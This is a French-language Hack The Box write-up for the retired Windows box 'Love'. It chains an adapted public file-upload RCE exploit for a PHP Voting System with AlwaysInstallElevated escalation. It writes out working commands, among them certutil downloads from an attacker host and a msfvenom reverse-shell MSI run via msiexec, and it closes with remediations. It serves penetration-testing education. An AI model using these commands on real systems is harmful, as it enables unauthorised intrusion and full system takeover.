Windows Easy
Love : RCE Voting System + AlwaysInstallElevated
RCE authentifié sur un CMS Voting System en PHP pour le foothold, puis AlwaysInstallElevated pour passer SYSTEM.
Box retirée par Hack The Box. Write-up publié dans le respect des règles de la plateforme, flags masqués.
TL;DR
- Scan : plusieurs services web, dont un CMS Voting System en PHP.
- Un exploit public donne une RCE authentifiée (upload de shell) : foothold en tant que
phoebe. AlwaysInstallElevatedest actif sur HKLM et HKCU : un MSI malveillant s'exécute en SYSTEM.
Reconnaissance
nmap -sVC -T4 10.129.48.10380/tcp open http Apache 2.4.46 (Win64) PHP/7.3.27 - "Voting System using PHP"
443/tcp open ssl/http Apache - cert CN=staging.love.htb, O=ValentineCorp
445/tcp open microsoft-ds Windows 10 Pro 19042 (workgroup: WORKGROUP)
3306/tcp open mysql
5000/tcp open http Apache (403 Forbidden)Le certificat SSL révèle des vhosts. On les ajoute au fichier hosts :
echo "10.129.48.103 love.htb staging.love.htb www.love.htb" | sudo tee -a /etc/hostsFoothold
Identification du CMS
whatweb http://10.129.48.103/Title[Voting System using PHP], PHP[7.3.27], PasswordField[password]Exploit public
searchsploit "voting system"
searchsploit -m php/webapps/49445.pyLe PoC 49445.py (Voting System 1.0 - Authenticated File Upload RCE) cible en dur une installation sous /votesystem/. Ici l'app est à la racine : il faut adapter les chemins.
- INDEX_PAGE = f"http://{IP}/votesystem/admin/index.php"
- LOGIN_URL = f"http://{IP}/votesystem/admin/login.php"
- VOTE_URL = f"http://{IP}/votesystem/admin/voters_add.php"
- CALL_SHELL = f"http://{IP}/votesystem/images/shell.php"
+ INDEX_PAGE = f"http://{IP}/admin/index.php"
+ LOGIN_URL = f"http://{IP}/admin/login.php"
+ VOTE_URL = f"http://{IP}/admin/voters_add.php"
+ CALL_SHELL = f"http://{IP}/images/shell.php"Les identifiants d'admin potter:password sont déjà présents en dur dans le script.
nc -lvnp 8888
python3 49445.pyShell obtenu en tant que love\phoebe.
Énumération (WinPEAS)
certutil -urlcache -split -f http://10.10.14.5/winPEASx64.exe winPEAS.exe
.\winPEAS.exePoints clés relevés :
- AlwaysInstallElevated actif sur les deux hives :
txt HKLM policy value: 1 HKCU policy value: 1 C:\Administration\*: permissionsPhoebe [AllAccess]sur des binaires VMware Tools, avec une règle AppLocker dédiée (piste de hijack si une tâche SYSTEM les exécute).- Aucun privilège de token directement exploitable (
SeImpersonate,SeDebugabsents).
Élévation vers SYSTEM
Vecteur retenu : AlwaysInstallElevated. Quand les deux clés valent 1, n'importe quel paquet MSI s'installe avec les droits SYSTEM.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=9998 -f msi -o evil.msicertutil -urlcache -split -f http://10.10.14.5/evil.msi evil.msi
msiexec /quiet /qn /i evil.msiLe listener reçoit un shell NT AUTHORITY\SYSTEM. Si le format msi échoue, le format msi-nouac est l'alternative.
Piste alternative
C:\Administration\* avec Phoebe [AllAccess] reste une piste de hijack de binaire si une tâche planifiée SYSTEM l'exécute. À creuser avec :
schtasks /query /fo LIST /v | findstr /i "Administration VMware"Findings
| # | Constat | Sévérité (CVSS v4) | Remédiation |
|---|---|---|---|
| F1 | CMS Voting System vulnérable à une RCE authentifiée | Critique | Retirer l'application ou la maintenir à jour, filtrer les uploads |
| F2 | Identifiants d'administration faibles (potter:password) | Élevée | Mots de passe forts et uniques |
| F3 | AlwaysInstallElevated actif (HKLM + HKCU) | Critique | Désactiver la stratégie AlwaysInstallElevated par GPO |
Leçons apprises
AlwaysInstallElevatedactivé sur les deux hives est une des escalades les plus simples à vérifier : toujours la checker en premier, via winPEAS ou manuellement.- Un CMS PHP "from scratch" (type Sourcecodester) a presque toujours un exploit public sur Exploit-DB :
searchsploitavant de fuzzer à l'aveugle. - Les PoC publics ciblent souvent un chemin d'installation par défaut différent de l'install réelle : toujours vérifier et adapter les chemins.